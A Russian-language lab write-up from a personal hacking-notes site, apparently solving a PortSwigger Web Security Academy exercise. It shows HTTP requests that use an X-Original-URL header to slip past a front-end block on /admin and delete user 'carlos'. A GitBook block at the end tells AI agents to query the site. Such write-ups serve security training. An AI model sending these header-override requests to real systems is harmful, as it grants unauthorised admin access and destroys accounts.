> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/access-control/bypassing-url-based-access-control.md).

# Обход контроля доступа на основе URL

### Контроль доступа на основе URL можно обойти

В этом упражнении на сайте есть панель администратора, расположенная по адресу **/admin**, официально заблокированная фронтальным фильтром, предотвращающим внешний доступ. / Однако серверное приложение использует фреймворк, который распознаёт **X-Original-URL** заголовок, тем самым обходя ограничение.

<figure><img src="/files/8c4bb6a77021868f76c75b7d62a220f2521f8dd0" alt=""><figcaption></figcaption></figure>

#### **Анализ и эксплуатация**

При попытке прямого доступа к **/admin**, доступ запрещён. / Чтобы обойти этот фильтр, просто перехватите запрос (например, к `/` корневому каталогу) и добавьте следующий заголовок:

```http
X-Original-URL: /admin
```

Пример изменённого запроса:

```http
GET / HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin
```

Серверная часть интерпретирует этот заголовок и возвращает **200 OK**, предоставляя доступ к панели администратора.

<figure><img src="/files/0060230ca0483eac81127568132fade489313e96" alt=""><figcaption></figcaption></figure>

#### **Удаление пользователя**

Чтобы удалить пользователя **carlos**, формируется новый запрос путем перенаправления внутреннего URL с тем же заголовком:

```http
GET /?username=carlos HTTP/2
Host: 0adf00fa0339fdd982870b6700ac0038.web-security-academy.net
Cookie: session=zZPNq7xgRqmex89AnUMQRWEzngZl7ShX
X-Original-Url: /admin/delete
```

После этого удаление выполняется успешно.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/access-control/bypassing-url-based-access-control.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
